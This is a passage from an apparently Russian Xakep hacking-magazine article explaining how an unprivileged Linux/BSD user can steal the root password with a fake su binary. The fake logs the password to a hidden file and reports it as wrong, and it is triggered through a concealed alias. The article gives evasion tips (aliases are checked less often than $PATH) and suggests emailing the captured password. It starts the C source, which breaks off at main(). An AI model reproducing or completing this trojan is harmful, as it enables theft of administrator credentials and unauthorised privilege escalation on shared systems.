|
Западло в Linux Forb (forb@real.xakep.ru) Xakep, номер #053, стр. 053-082-2 Хочется отметить, что эта фишка работает не только в Linux’е, но и в SunOS и FreeBSD. Возможно, в других системах тоже, но за вышеперечисленные ручаюсь, так как собственноручно тестировал на них. Пишем свой /bin/su На этот раз займемся более серьезными вещами, а точнее попробуем увести пароль администратора системы, имея при этом права обычного юзера (разумеется, этот юзер должен знать пароль на рута и периодически на него суидиться). Смысл всей задумки в том, что пишется поддельный бинарник su, хватающий пароль у пользователя, говорящий, что он неправильный, и записывающий данные в log, который ты впоследствии можешь прочитать. В финальной же стадии он замещает себя линком на рабочий /bin/su. Ты, наверное, подумаешь, что админ сразу забьет тревогу, когда увидит, что пароль неверен. Я тоже так думал, и хотел уже было заменить ругань о неверном пароле на строку segmentation fault или что-либо подобное. Но потом меня осенило. Админы-то народ ленивый, а пароли у них довольно сложные (в большинстве случаев), поэтому бывают и ошибки при наборе. А если вторая попытка окажется успешной, то админ не придаст большого значения первой, скорее даже обрадуется, что его система цела и невредима :). Следующая проблема заключается в том, что твоя фальшивка будет лежать далеко не в /bin (для того, чтобы ее туда засунуть, нужны root-права), а где-то в home-директории жертвы. А для суида (не суицида) жертва будет набирать команду su, поэтому нужно как-то заменить эту команду своим fake-бинарником. При решении этой задачи возможны два пути: 1) Пофиксить переменную $PATH на преждевременное выполнение бинарников из твоей замаскированной директории. 2) Сделать алиас на команду su, который будет передавать команду на выполнение твоей подделке. Мне больше понравился второй путь, так как вероятность просмотра всех алиасов меньше, чем просмотр переменной $PATH, да и сделать один алиас легче, чем менять весь путь к бинарникам. Итак, ниже следует код su.c, который ты можешь модифицировать, например, для отсылки на E-mail пароля суперпользователя, либо для своих нужд: #define SORRY "Sorry" /* Ответ su на неверный пароль. Вставить актуальный для системы ответ */ #define PFILE "tmp/.screen" /* Файл, в котором будет находиться записанный пароль */ #define MYPATH "tmp/.screen_active" /* Сам файл бинарника */ #include <signal.h> /* Заюзаем обработку сигналов на случай, если админ оборвет выполнение по ctrl+c */ void sigexit(int no); /* Объявим функцию перехвата сигнала */ int main() { char pass[40]; |